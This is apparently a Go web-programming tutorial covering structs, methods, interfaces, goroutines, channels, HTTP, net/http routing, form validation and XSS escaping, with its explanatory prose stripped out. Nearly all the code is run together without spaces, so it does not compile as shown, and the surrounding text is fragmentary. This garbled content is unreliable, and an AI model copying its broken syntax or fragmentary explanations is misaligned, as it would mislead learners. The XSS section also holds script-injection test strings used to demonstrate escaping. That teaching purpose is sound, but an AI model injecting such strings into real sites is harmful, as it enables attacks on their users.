functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//ffpanicreturn}
maininit
Go init packagemain packagemain packageinitpackageinit
Goinit()main() packageinit packagemainmain
main main fmt init main maininit main
2.6main
import
Goimport
import("fmt")
fmt.Println("helloworld")
fmtGo GOROOTGoimport
1.
import“./model”//modelimport
2.
import“shorturl/model”//gopath/src/shorturl/model
importimport
1.
import(."fmt")
fmt.Println("helloworld")Println("helloworld")
2.
import(f"fmt")
f.Println("helloworld")
3. _
import
import("database/sql"_"github.com/ziutek/mymysql/godrv")
_init
links
: Go: struct
2.4struct
struct
GoC person struct:
typepersonstruct{namestringageint}
struct
stringnameintage,
struct
typepersonstruct{namestringageint}
varPperson//Pperson
P.name="Astaxie"//"Astaxie"Pname.P.age=25//"25"Pagefmt.Printf("Theperson'snameis%s",P.name)//Pname.
P
1.
P:=person{"Tom",25}
2.field:value
P:=person{age:24,name:"Tom"}
3.newP*person
P:=new(person)
struct
packagemain
import"fmt"
//typepersonstruct{namestringageint}
////structfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{//p1p2returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}
funcmain(){vartomperson
//tom.name,tom.age="Tom",18
//bob:=person{age:25,name:"Bob"}
//structpaul:=person{"Paul",43}
tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}
struct
structGo
structstructstruct
packagemain
import"fmt"
typeHumanstruct{namestringageint
weightint}
typeStudentstruct{Human//StudentHumanspecialitystring}
funcmain(){//mark:=Student{Human{"Mark",25,120},"ComputerScience"}
//fmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialityis",mark.speciality)//mark.speciality="AI"fmt.Println("Markchangedhisspeciality")fmt.Println("Hisspecialityis",mark.speciality)//fmt.Println("Markbecomeold")mark.age=46fmt.Println("Hisageis",mark.age)//fmt.Println("Markisnotanathletanymore")mark.weight+=60fmt.Println("Hisweightis",mark.weight)}
:
2.7structStudentHumanstructstring
StudentagenamestudentHuman
mark.Human=Human{"Marcus",55,220}mark.Human.age-=1
struct
packagemain
import"fmt"
typeSkills[]string
typeHumanstruct{namestringageint
weightint}
typeStudentstruct{Human//structSkills//stringsliceint//specialitystring}
funcmain(){//Janejane:=Student{Human:Human{"Jane",35,100},speciality:"Biology"}//fmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialityis",jane.speciality)//skilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//jane.int=3fmt.Println("Herpreferrednumberis",jane.int)}
structstructappend
humanphonestudentphone
Go student.phonestudenthuman
packagemain
import"fmt"
typeHumanstruct{namestringageintphonestring//Human}
typeEmployeestruct{Human//Humanspecialitystringphonestring//phone}
funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//Humanphonefmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}
links
::
2.5structstruct method
method
struct
packagemain
import"fmt"
typeRectanglestruct{width,heightfloat64}
funcarea(rRectangle)float64{returnr.width*r.height}
funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}
area()RectangleRectangler1,r2
area_rectangle,area_circle,area_triangle...
,struct(class)structstruct
2.8struct
""""
method method funcreceiver(method)
method area()(Rectangle)Rectangle.area()Rectanglearea()Rectangle
Rectanglelengthwidth,area(),Rectangle
RobPike
"Amethodisafunctionwithanimplicitfirstargument,calledareceiver."
method
func(rReceiverType)funcName(parameters)(results)
method
packagemain
import("fmt""math")
typeRectanglestruct{width,heightfloat64}
typeCirclestruct{radiusfloat64}
func(rRectangle)area()float64{returnr.width*r.height}
func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}
funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}
c2:=Circle{25}
fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}
method
methodmethodmethodmethod.struct
:
2.9structmethod
methodarea()RectangleCircleReceiverRectangleCircle,area()Rectangle/Circle
methodReceiverReceiver,,Receiver,Receiver,
methodstructstructstructstruct
typetypeNametypeLiteral
typeagesint
typemoneyfloat32
typemonthsmap[string]int
m:=months{"January":31,"February":28,..."December":31,}
,ctypedefagesint
method
method
packagemain
import"fmt"
const(WHITE=iotaBLACKBLUEREDYELLOW)
typeColorbyte
typeBoxstruct{
width,height,depthfloat64colorColor}
typeBoxList[]Box//asliceofboxes
func(bBox)Volume()float64{returnb.width*b.height*b.depth}
func(b*Box)SetColor(cColor){b.color=c}
func(blBoxList)BiggestColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifbv:=b.Volume();bv>v{v=bvk=b.color}}returnk}
func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}
func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}
funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},
}
fmt.Printf("Wehave%dboxesinourset\n",len(boxes))fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestColor().String())
fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())
fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestColor().String())}
const
Colorbytestruct:Boxslice:BoxListBox
method
Volume()BoxBoxSetColor(cColor)BoxcBiggestColor()BoxListlistPaintItBlack()BoxListBoxString()ColorColor()
receiver
SetColormethodreceiverBox*BoxBox
SetColorBoxBoxSetColorBoxcopymethodBoxcopyBox
receivermethod
SetColor*b.Color=c,b.Color=c,
Go()GoGo
PaintItBlackSetColor (&bl[i]).SetColor(BLACK)SetColorreceiver*BoxBox
Goreceiver
methodreceiver*T,TVmethod&Vmethod
methodreceiverT TPmethod Pmethod
methodmethodGoC/C++
method
Gomethodmethodstructmethod
packagemain
import"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstring
}
typeEmployeestruct{Human//companystring}
//humanmethodfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
method
EmployeeSayHi,Employeemethod
packagemain
import"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstring}
typeEmployeestruct{
Human//companystring}
//Humanmethodfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//EmployeemethodHumanmethodfunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Yesyoucansplitinto2lineshere.}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
Go
Go()
links
: struct: interface
2.6interface
interface
Gointerfaceinterface
interface
interfacemethodinterface
StudentEmployeeSayHi sayhi
StudentEmployee SingStudentBorrowMoneyEmployeeSpendSalary
StudentSayHiSingBorrowMoneyEmployeeSayHiSingSpendSalary
interface(StudentEmployee)StudentEmployeeinterfaceSayHiSinginterfaceEmployeeinterfaceSayHiSingBorrowMoneyEmployeeBorrowMoney
interface
interface
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//Humanschoolstringloanfloat32}
typeEmployeestruct{Human//Humancompanystringmoneyfloat32
}
//HumanSayhifunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//HumanSingfunc(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}
//HumanGuzzlefunc(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}
//EmployeeHumanSayhifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//}
//StudentBorrowMoneyfunc(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(againandagainand...)}
//EmployeeSpendSalaryfunc(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Morevodkaplease!!!Getmethroughtheday!}
//interfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}
typeYoungChapinterface{SayHi()Sing(songstring)
BorrowMoney(amountfloat32)}
typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)}
interfaceMeninterfaceHumanStudentEmployeeinterfaceStudentMenYoungChapinterface
interface(interface{})0methodinterface
interface
interfaceinterfaceinterfaceMeninterfacemmHumanStudentEmployee
mMenslicesliceMenslice
:
packagemain
import"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstringloanfloat32}
typeEmployeestruct{
Human//companystringmoneyfloat32}
//HumanSayHifunc(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//HumanSingfunc(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}
//EmployeeHumanSayHifunc(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)}
//InterfaceMenHuman,StudentEmployee//typeMeninterface{SayHi()Sing(lyricsstring)}
funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Tom",37,"222-444-XXX"},"ThingsLtd.",5000}
//MenivariMen
//iStudenti=mikefmt.Println("ThisisMike,aStudent:")
i.SayHi()i.Sing("Novemberrain")
//iEmployeei=tomfmt.Println("Thisistom,anEmployee:")i.SayHi()i.Sing("Borntobewild")
//sliceMenfmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//interfacex[0],x[1],x[2]=paul,sam,mike
for_,value:=rangex{value.SayHi()}}
interfaceinterfaceGointerfaceduck-typing:""
interface
interface(interface{})methodinterfaceinterface(methodinterfaceCvoid*
//avarainterface{}variint=5s:="Helloworld"//aa=ia=s
interface{}interface{},
interface
interfaceinterface(method)interface
fmt.Printlnfmt:
typeStringerinterface{String()string}
Stringfmt.Println,
packagemainimport("fmt""strconv")
typeHumanstruct{namestringageintphonestring}
//Humanfmt.Stringerfunc(hHuman)String()string{return"❰"+h.name+"-"+strconv.Itoa(h.age)+"years-✆"+h.phone+"❱"}
funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}
BoxColormethodStringfmt.StringerinterfacefmtStringerfmt
//
fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())
errorError()stringfmtError()String()
interface
interface(interface)
Comma-ok
Govalue,ok=element.(T)valueokboolelementinterfaceT
elementToktruefalse
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
//Stringfmt.Stringerfunc(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){
list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}
forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{fmt.Printf("list[%d]isofadifferenttype\n",index)}}}
ifif
ifelseswitch
switch
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestring
ageint}
//func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}
forindex,element:=rangelist{switchvalue:=element.(type){caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:fmt.Println("list[%d]isofadifferenttype",index)}}}
element.(type)switchswitch comma-ok
interface
GoStructinterfaceinterface1interface2interface2interface1method
container/heap
typeInterfaceinterface{sort.Interface//sort.InterfacePush(xinterface{})//aPushmethodtopushelementsintotheheapPop()interface{}//aPopelementsthatpopselementsfromtheheap}
sort.Interfacesort.Interfacemethod
typeInterfaceinterface{//Lenisthenumberofelementsinthecollection.Len()int//Lessreturnswhethertheelementwithindexishouldsort
//beforetheelementwithindexj.Less(i,jint)bool//Swapswapstheelementswithindexesiandj.Swap(i,jint)}
ioio.ReadWriterioReaderWriterinterface
//io.ReadWritertypeReadWriterinterface{ReaderWriter}
Goreflectreflectreflect lawsofreflection
reflect(interface)reflect(reflect.Typereflect.Value)
t:=reflect.TypeOf(i)//,tv:=reflect.ValueOf(i)//v
reflectreflect
tag:=t.Elem().Field(0).Tag//structname:=v.Elem().Field(0).String()//
varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())
varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)
varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)
links
::
2.7Go21CGo21Go
goroutine
goroutineGogoroutinegoroutineGogoroutinegoroutine(4~5KB)goroutinethread
goroutineGoruntimegoroutine go
gohello(a,b,c)
gogoroutine
packagemain
import("fmt""runtime")
funcsay(sstring){fori:=0;i<5;i++{
runtime.Gosched()fmt.Println(s)}}
funcmain(){gosay("world")//Goroutinessay("hello")//Goroutines}
////hello//world//hello//world//hello//world//hello//world//hello
gogoroutine
runtime.Gosched()CPU,goroutine
Go1.5runtime.GOMAXPROCS1CPU
Go1.5runtime.GOMAXPROCS(n)GOMAXPROCSn<1
channels
goroutinegoroutineGochannelchannelUnixshellchannelchannelchannelmakechannel
ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})
channel<-
ch<-v//vchannelch.v:=<-ch//chv
packagemain
import"fmt"
funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}
funcmain(){a:=[]int{7,2,8,-9,4,0}
c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc
fmt.Println(x,y,x+y)}
channelGoroutineslockvalue:=<-chch<-5channelgoroutine
BufferedChannels
channelGochannelchannelch:=make(chanbool,4)4boolchannel
channel45goroutinechannel
ch:=make(chantype,value)
value=0channelvalue>0channelvalue
value
packagemain
import"fmt"
funcmain(){c:=make(chanint,2)//2123c<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}//1://fatalerror:allgoroutinesareasleep-deadlock!
Range Close
cGorangeslicemapchannel
packagemain
import("fmt")
funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{
c<-xx,y=y,x+y}close(c)}
funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}
fori:=rangecchannelchannelchannel closechannelchannel v,ok:=<-chchannelokfalsechannel
channelpanic
channelrange
Select
channelchannelGo selectselectchannel
selectchannelchannelselect
packagemain
import"fmt"
funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")
return}}}
funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}
selectdefault selectswitchdefaultchannelselectchannel
select{casei:=<-c://useidefault://c}
goroutineselect
funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:
println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}
runtimegoroutine
runtimegoroutine
Goexit
goroutinedefer
Gosched
goroutine
NumCPU
CPU
NumGoroutine
GOMAXPROCS
CPU
links
: interface:
2.8GoGo
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
varconst2.2Gopackageimportfuncreturndefergoselectinterface2.6struct2.5breakcasecontinueforfallthroughelseifswitchgotodefault2.3chanchanneltypemapmaprangeslicemapchannel
Go
links
URL DNS
URLURL
URL(UniformResourceLocator)“”,
scheme://host[:port#]/path/.../[?query-string][#anchor]scheme(http,https,ftp)hostHTTPIPport#HTTP80http://www.cnblogs.com:8080/
pathquery-stringhttpanchor
DNS(DomainNameSystem)“”TCP/IPIPDNS“”
3.2DNS
DNSDNS
1. www.qq.comhostsIP
2. hostsDNS
3. hostsDNSTCP/IPDNSDNS
4. DNSIP
5. DNSDNSDNS“DNS”“DNS”(.com)IPDNSIP.com
()xxxxxxyyxxyy()
IPIP
HTTP
HTTPWebWebHTTP
HTTPWeb()Internet,TCPTCP80--HTTPHTTP“”HTTP
HTTPHTTPWebCookie
HTTPTCPTCPHTTPSYNFloodDoSDdoSTCPTCPCPU
HTTP
Request,Request3Requestline,Requestheader,bodyheaderbody:
GET/domains/example/HTTP/1.1//:URIHTTP/Hostwww.iana.org //User-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//Accepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//mineAccept-Encodinggzip,deflate,sdch //Accept-CharsetUTF- 8,*;q=0.5////,//,,POST
HTTP4GET,POST,PUT,DELETEURLHTTPGET,POST,PUT,DELETE4GETPOSTGET/POST
fiddler:
3.4fiddlerGET
3.5fiddlerPOST
GETPOST:
1. GETPOST2. GETURL ?URL & EditPosts.aspx?name=test1&id=123456POST
HTTPbody3. GETURLPOST4. GETGETURL
HTTP
HTTPresponse
HTTP/1.1200OK//Server:nginx/1.0.8//WEBDate:Date:Tue,30Oct201204:14:25GMT//Content-Type:text/html//Transfer-Encoding:chunked//HTTPConnection:keep-alive//Content-Length:90////<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//
ResponseHTTP
HTTP,HTTPResponseHTTP/1.15
1XX -2XX -3XX -4XX -5XX -
200302responseheader
HTTP Connection:keep-alive
HTTPHTTPTCPHTTPUDP
HTTP/1.1Keep-AliveHTTPTCPTCP
Keep-AliveApache
3.7requestresponse
URL(go)
urlhtmlHTMLHTMLDOMcssjsHTTP
HTTPcssjs
links
: Web: GoWeb
3.2Go WebWebhttpGonet/httphttpWebWebcookie
http Web
packagemain
import("fmt""net/http""strings""log")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//fmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}
funcmain(){http.HandleFunc("/",sayhelloName)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}
buildweb.exe,9090http
http://localhost:9090
Helloastaxie!
http://localhost:9090/?url_long=111&url_long=222
3.8Web
Webhttp
PHPnginxapacheGotcpnginxsayhelloNamephpcontroller
PythontornadoGoPythonWeb
RubyROR/script/server
GoWebWebGoWeb
links
: Web: Goweb
3.3Go WebGoWebnet/httpGoGoWebWeb
web
Requestpostgetcookieurl
Response
Conn
Handler
http
GoWeb
3.9http
1. ListenSocket,,
2. ListenSocket,ClientSocket,ClientSocket
3. ,ClientSocketHTTP,POST,,handler,handler,ClientSocket
GoWeb
handler
Go ListenAndServeserver net.Listen("tcp",addr)TCP
Gohttphttp
func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}
srv.Serve(net.Listener) for{}ListenerConngoroutineconngoc.serve()goroutine
connrequest: c.readRequest(),handler:handler:=c.server.HandlerListenAndServenil handler=DefaultServeMux,urlhandle?http.HandleFunc("/",sayhelloName) /uri"/"sayhelloNameDefaultServeMuxServeHTTPsayhelloNameresponse
GoWebhttp
GohttpConnServeMux
Conn goroutine
http,Go,goroutinesConn,Go
Go
c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()
ConnConnhandlerhandlerheader
ServeMux
conn.serverhttp
typeServeMuxstruct{musync.RWMutex//mmap[string]muxEntry//stringmuxstring
hostsbool//host}
muxEntry
typemuxEntrystruct{explicitbool//hHandler//handlerpatternstring//}
Handler
typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//}
Handler sayhelloNameServeHTTPhttp HandlerFunc,sayhelloNameHandlerFuncServeHTTPHandlerFunc(f),fHandlerFuncfServeHTTP
typeHandlerFuncfunc(ResponseWriter,*Request)
//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}
ServeHTTP
func(mux*ServeMux)ServeHTTP(wResponseWriter,r*Request){ifr.RequestURI=="*"{w.Header().Set("Connection","close")w.WriteHeader(StatusBadRequest)return}h,_:=mux.Handler(r)h.ServeHTTP(w,r)}
* mux.Handler(r)Handler h.ServeHTTP(w,r)
handlerServerHTTPmux.Handler(r)
func(mux*ServeMux)Handler(r*Request)(hHandler,patternstring){ifr.Method!="CONNECT"{ifp:=cleanPath(r.URL.Path);p!=r.URL.Path{_,pattern=mux.handler(r.Host,p)returnRedirectHandler(p,StatusMovedPermanently),pattern}}returnmux.handler(r.Host,r.URL.Path)}
func(mux*ServeMux)handler(host,pathstring)(hHandler,patternstring){mux.mu.RLock()defermux.mu.RUnlock()
//Host-specificpatterntakesprecedenceovergenericonesifmux.hosts{h,pattern=mux.match(host+path)}ifh==nil{h,pattern=mux.match(path)}ifh==nil{h,pattern=NotFoundHandler(),""}return}
URLmaphandlerhandlerServeHTTP
Go ListenAndServeHandlerHandler,ServeHTTP
packagemain
import("fmt""net/http")
typeMyMuxstruct{}
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)return}
funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}
funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}
Go
http
Http.HandleFunc
1DefaultServeMuxHandleFunc
2DefaultServeMuxHandle
3DefaultServeMuxmap[string]muxEntryhandler
http.ListenAndServe(":9090",nil)
1Server
2ServerListenAndServe()
3net.Listen("tcp",addr)
4forAccept
5Conngoroutinegoc.serve()
6w,err:=c.readRequest()
7handlerhandlerhandlerhandlerDefaultServeMux
8handlerServeHttp
9DefaultServeMux.ServeHttp
10requesthandlerhandlerServeHTTP
mux.handler(r).ServeHTTP(w,r)
11handler
ArequestServerMuxmuxEntry
BhandlerServeHttp
CNotFoundHandlerServeHttp
links
: Goweb:
3.5HTTP,DNS,gowebservernet/httpserver
GoWebGoWeb
links
: Gohttp:
4WebWebC/C++
\
<form>...input...</form>
GoformRequestformWeb4.1Go4.2
HTTP4.34.4cookie(cookieheader)
Go4.5Go
links
::
4.1login.gtpl()
<html><head><title></title></head><body><formaction="/login"method="post">: <inputtype="text"name="username">: <inputtype="password"name="password"><inputtype="submit"value="" >
</form></body></html>
/login loginPOSTGET
httpwebloginform
packagemain
import("fmt""html/template""log""net/http""strings")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//urlPOSTrequestbody
//:ParseFormfmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")log.Println(t.Execute(w,nil))}else{//fmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])
}}
funcmain(){http.HandleFunc("/",sayhelloName)//http.HandleFunc("/login",login)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}
r.MethodGET,POST,PUTmethod
loginr.MethodGET
http://127.0.0.1:9090/login
login.gtpl
4.1
Handlerform r.ParseForm() fmt.Println("username:",r.Form["username"])r.ParseForm(),
r.FormURLquery-stringPOSTPUTURLquery-stringPOSTsliceGoPOSTGET
login.gtplformactionhttp://127.0.0.1:9090/loginhttp://127.0.0.1:9090/login?username=astaxieusernameslice
4.2
request.Formurl.Values key=valueform:
v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])
Tips:RequestFormValue()r.Form["username"]r.FormValue("username")r.FormValuer.ParseFormr.FormValue
links
::
4.2WebWeb
Webjs(ValidationJS)
Go lenlen
iflen(r.Form["username"][0])==0{//}
r.Form,r.Form r.Form.Get() r.Form.Get()map
5010“”“”
int
getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//}
//ifgetint>100{//}
ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{returnfalse}
Go
GoRE2UTF-8
unicode funcIs(rangeTab*RangeTable,rrune)bool
ifm,_:=regexp.MatchString("^\\p{Han}+$",r.Form.Get("realname"));!m{returnfalse}
astaxieasta
ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}
ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}
ifm,_:=regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`,r.Form.Get("mobile"));!m{returnfalse}
<select>
select
<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banane">banane</option></select>
slice:=[]string{"apple","pear","banane"}
v:=r.Form.Get("fruit")for_,itemrangeslice{ifitem==v{returntrue}}
returnfalse
radio15httptelnet123
<inputtype="radio"name="gender"value="1"><inputtype="radio"name="gender"value="2">
slice:=[]int{1,2}
for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse
<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">
slice
slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}
returnfalse
Slice_diff(slicemap) https://github.com/astaxie/beeku
845
Gotime
t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())
time
1518
//1515ifm,_:=regexp.MatchString(`^(\d{15})$`,r.Form.Get("usercard"));!m{returnfalse}
//181817X
ifm,_:=regexp.MatchString(`^(\d{17})([0-9]|X)$`,r.Form.Get("usercard"));!m{returnfalse}
GoGo
links
::
4.3Web“”CrossSiteScripting,XSS
JavaScriptVBScriptActiveXFlash/cookie
XSS();
GoGohtml/template
funcHTMLEscape(wio.Writer,b[]byte)//bwfuncHTMLEscapeString(sstring)string//sfuncHTMLEscaper(args...interface{})string//
4.1
fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//
username<script>alert()</script>,
4.3Javascript
Gohtml/templatehtml <script>alert()</script>text/template
import"text/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")
